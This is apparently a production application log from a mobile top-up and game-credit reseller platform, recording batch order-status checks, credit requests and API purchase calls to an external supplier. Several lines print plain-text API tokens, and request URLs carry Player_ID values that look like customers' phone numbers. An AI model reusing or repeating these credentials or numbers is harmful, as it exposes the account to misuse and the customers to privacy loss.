[2026-03-24 19:25:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:25:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:25:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:25:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:25:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:25:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:25:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:25:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:25:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:26:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03"} 
[2026-03-24 19:26:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","total_operations":3,"sites_count":2} 
[2026-03-24 19:26:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 19:26:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:26:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:26:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:26:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:26:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2,"order_ids":["ORD-aQv98R-1774369441","ORD-mJLfY-1774369481"]} 
[2026-03-24 19:26:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:26:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2} 
[2026-03-24 19:26:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 19:26:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 19:26:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"count":2} 
[2026-03-24 19:26:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"count":2} 
[2026-03-24 19:26:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"user_id":587,"notification_type":"order_approved","reference_id":179214} 
[2026-03-24 19:26:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"user_id":1551,"notification_type":"order_approved","reference_id":179215} 
[2026-03-24 19:26:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:26:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:26:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"processed":2,"errors":0} 
[2026-03-24 19:26:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105,"processed":2,"errors":0} 
[2026-03-24 19:26:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"l4kSs0H4YP3Einnj7g8y6QzP4d7UuwDB","execution_time":"2026-03-24 19:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJLfY-1774369481","operation_id":164105} 
[2026-03-24 19:26:05] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 19:26:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 19:26:23] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"10000.0","mainamount":"10000","operation_number":"158627437","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php7df37jv1eprp26Wc7b2"}},"user_id":562} 
[2026-03-24 19:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:26:23] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:26:23] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18682,"user_id":562,"amount":10000.0,"admins_notified":7} 
[2026-03-24 19:26:59] production.INFO: Constructing job for order: 179218  
[2026-03-24 19:27:02] production.INFO: Handling job for order: 179218  
[2026-03-24 19:27:02] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:27:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:27:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=bbcfbc25-fb1d-4e7b-9234-3750c22acca8&Player_ID=0940197389  
[2026-03-24 19:27:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=bbcfbc25-fb1d-4e7b-9234-3750c22acca8&Player_ID=0940197389","has_body":false} 
[2026-03-24 19:27:03] production.INFO: Operation sent successfully {"operation_id":164106,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5eEImKV-1774369623","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:27:03"}},"processed_data":{"order_number":"ORD-5eEImKV-1774369623","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:27:15] production.INFO: Constructing job for order: 179219  
[2026-03-24 19:27:16] production.INFO: Constructing job for order: 179220  
[2026-03-24 19:27:18] production.INFO: Handling job for order: 179219  
[2026-03-24 19:27:18] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:27:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:27:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=b0dd39b5-ae00-4aad-8071-094ab2d0588d&Player_ID=0968609478  
[2026-03-24 19:27:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=b0dd39b5-ae00-4aad-8071-094ab2d0588d&Player_ID=0968609478","has_body":false} 
[2026-03-24 19:27:19] production.INFO: Operation sent successfully {"operation_id":164107,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XwYUPko4-1774369639","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:27:19"}},"processed_data":{"order_number":"ORD-XwYUPko4-1774369639","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:27:19] production.INFO: Handling job for order: 179220  
[2026-03-24 19:27:19] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:27:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:27:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=7cf75aba-7966-4d9d-bc97-eff5337ce085&Player_ID=0953804880  
[2026-03-24 19:27:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=7cf75aba-7966-4d9d-bc97-eff5337ce085&Player_ID=0953804880","has_body":false} 
[2026-03-24 19:27:20] production.INFO: Operation sent successfully {"operation_id":164108,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mhc-1774369639","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:27:20"}},"processed_data":{"order_number":"ORD-mhc-1774369639","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:27:24] production.INFO: Constructing job for order: 179221  
[2026-03-24 19:27:26] production.INFO: Handling job for order: 179221  
[2026-03-24 19:27:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:27:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:27:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/602/params?qty=26000&uuid=2c171027-2f5d-4d11-8fcc-49e98cd1c6f9&Player_ID=.64009940  
[2026-03-24 19:27:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/602/params?qty=26000&uuid=2c171027-2f5d-4d11-8fcc-49e98cd1c6f9&Player_ID=.64009940","has_body":false} 
[2026-03-24 19:27:27] production.INFO: Operation sent successfully {"operation_id":164109,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bjZ-1774369646","amount":1.628161599999999875620915190665982663631439208984375,"status":"processing","product":"4fun Amount","game":"4Fun","notes":[],"created_at":"2026-03-24 19:27:27"}},"processed_data":{"order_number":"ORD-bjZ-1774369646","amount":1.628161599999999875620915190665982663631439208984375,"status":"processing","product":"4fun Amount","game":"4Fun"}} 
[2026-03-24 19:27:43] production.INFO: Constructing job for order: 179222  
[2026-03-24 19:27:45] production.INFO: Handling job for order: 179222  
[2026-03-24 19:27:45] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:27:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:27:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=c3d25b80-02bc-4f21-951d-604d54a17be5&Player_ID=0958436278  
[2026-03-24 19:27:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=c3d25b80-02bc-4f21-951d-604d54a17be5&Player_ID=0958436278","has_body":false} 
[2026-03-24 19:27:45] production.INFO: Operation sent successfully {"operation_id":164110,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8Jml-1774369665","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:27:45"}},"processed_data":{"order_number":"ORD-8Jml-1774369665","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:27:51] production.INFO: Constructing job for order: 179223  
[2026-03-24 19:27:54] production.INFO: Constructing job for order: 179224  
[2026-03-24 19:27:54] production.INFO: Handling job for order: 179223  
[2026-03-24 19:27:54] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:27:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:27:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=ff6464f8-dcb3-4f4b-9e31-21bb956ee233&Player_ID=0958436278  
[2026-03-24 19:27:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=ff6464f8-dcb3-4f4b-9e31-21bb956ee233&Player_ID=0958436278","has_body":false} 
[2026-03-24 19:27:55] production.INFO: Operation sent successfully {"operation_id":164111,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4Ez12M-1774369675","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:27:55"}},"processed_data":{"order_number":"ORD-4Ez12M-1774369675","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:27:55] production.INFO: Handling job for order: 179224  
[2026-03-24 19:27:55] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:27:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:27:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=0ff112b4-c04d-4d86-a5e3-7d6a8a6b2594&Player_ID=0964768127  
[2026-03-24 19:27:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=0ff112b4-c04d-4d86-a5e3-7d6a8a6b2594&Player_ID=0964768127","has_body":false} 
[2026-03-24 19:27:56] production.INFO: Operation sent successfully {"operation_id":164112,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dwcF-1774369676","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:27:56"}},"processed_data":{"order_number":"ORD-dwcF-1774369676","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:27:57] production.INFO: Constructing job for order: 179225  
[2026-03-24 19:27:59] production.INFO: Handling job for order: 179225  
[2026-03-24 19:27:59] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:27:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:27:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=637ef9ec-c99a-4777-bf31-a0b26c676faa&Player_ID=0964768127  
[2026-03-24 19:27:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=637ef9ec-c99a-4777-bf31-a0b26c676faa&Player_ID=0964768127","has_body":false} 
[2026-03-24 19:28:00] production.INFO: Operation sent successfully {"operation_id":164113,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wEA-1774369679","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:28:00"}},"processed_data":{"order_number":"ORD-wEA-1774369679","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:28:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03"} 
[2026-03-24 19:28:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","total_operations":9,"sites_count":2} 
[2026-03-24 19:28:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-bjZ-1774369646"]} 
[2026-03-24 19:28:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:28:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 19:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bjZ-1774369646","operation_id":164109} 
[2026-03-24 19:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:28:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 19:28:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:28:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":7,"order_ids":["ORD-5eEImKV-1774369623","ORD-XwYUPko4-1774369639","ORD-mhc-1774369639","ORD-8Jml-1774369665","ORD-4Ez12M-1774369675","ORD-dwcF-1774369676","ORD-wEA-1774369679"]} 
[2026-03-24 19:28:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:28:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":7} 
[2026-03-24 19:28:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4Ez12M-1774369675","operation_id":164111} 
[2026-03-24 19:28:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dwcF-1774369676","operation_id":164112} 
[2026-03-24 19:28:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113} 
[2026-03-24 19:28:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"processed":4,"skipped":3,"updates_prepared":4} 
[2026-03-24 19:28:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 19:28:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"count":4} 
[2026-03-24 19:28:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"count":4} 
[2026-03-24 19:28:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"user_id":125,"notification_type":"order_approved","reference_id":179218} 
[2026-03-24 19:28:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"user_id":1056,"notification_type":"order_approved","reference_id":179222} 
[2026-03-24 19:28:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"user_id":1688,"notification_type":"order_approved","reference_id":179220} 
[2026-03-24 19:28:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"user_id":125,"notification_type":"order_approved","reference_id":179219} 
[2026-03-24 19:28:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:28:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:28:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"processed":4,"errors":0} 
[2026-03-24 19:28:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107,"processed":4,"errors":0} 
[2026-03-24 19:28:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NB3YTpuVzGV9rp4jLidZQczBICCyLNpV","execution_time":"2026-03-24 19:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XwYUPko4-1774369639","operation_id":164107} 
